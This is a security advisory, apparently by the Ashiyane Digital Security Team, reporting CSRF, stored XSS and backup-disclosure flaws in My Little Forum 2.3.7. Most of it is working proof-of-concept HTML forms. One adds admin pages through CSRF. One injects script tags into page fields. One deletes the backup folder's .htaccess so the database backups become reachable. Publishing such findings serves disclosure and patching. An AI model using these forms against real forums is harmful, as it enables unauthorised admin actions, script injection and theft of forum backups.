Title:
======
My Little Forum 2.3.7 - Multiple Vulnerability
Product & Service Introduction:
===============================
My little forum is a simple PHP and MySQL based internet forum that
displays the messages in classical threaded view (tree structure). It is
Open Source licensed under the GNU General Public License. The main
claim of this web forum is simplicity. Furthermore it should be easy to
install and run on a standard server configuration with PHP and MySQL.
Software Link:
==============
https://github.com/ilosuna/mylittleforum/archive/master.zip
Vulnerability Type:
=========================
Cross-Site Request Forgery
Stored Cross-Site Scripting
CSRF Allow To Backup Disclosure
Vulnerability Details:
==============================
This WebApplication is vulnerable and suffer from some vulnerablity.
Severity Level:
===============
High
Proof of Concept (PoC):
=======================
1. CSRF (Add Page)
With this exploit can add page in webapp.
<form
action="http://localhost/mylittleforum-master/index.php?mode=admin&action=edit_page"
method="post" accept-charset="utf-8">
<input type="hidden" name="mode" value="admin">
<input type="hidden" name="title" value="Title">
<input type="hidden" name="content" value="Content">
<input type="hidden" name="menu_linkname" value="Name">
<input type="submit" name="edit_page_submit" value="OK - Save page">
</form>
2. Stored XSS:
<form
action="http://localhost/mylittleforum-master/index.php?mode=admin&action=edit_page"
method="post" accept-charset="utf-8">
<input type="hidden" name="mode" value="admin">
<input type="hidden" name="title" value="Stored XSS
<script>alert(1)</script>">
<input type="hidden" name="content" value="Stored XSS
<script>alert(2)</script>">
<input type="hidden" name="menu_linkname" value="Stored XSS
<script>alert(3)</script>">
<input type="submit" name="edit_page_submit" value="OK - Save page">
</form>
3. Backup Disclosure:
with this exploit we can delect htaccess in backup folder for access to
backups.
<form action="http://localhost/mylittleforum-master/index.php"
method="post" accept-charset="utf-8">
<div>
<input type="hidden" name="mode" value="admin">
<input type="hidden" name="delete_backup_files[]" value=".htaccess">
<input type="submit" name="delete_backup_files_confirm" value="OK -
Delete">
</div>
</form>
Next use exploit go to:
http://localhost/mylittleforum-master/backup/
Author:
==================
Ashiyane Digital Security Team
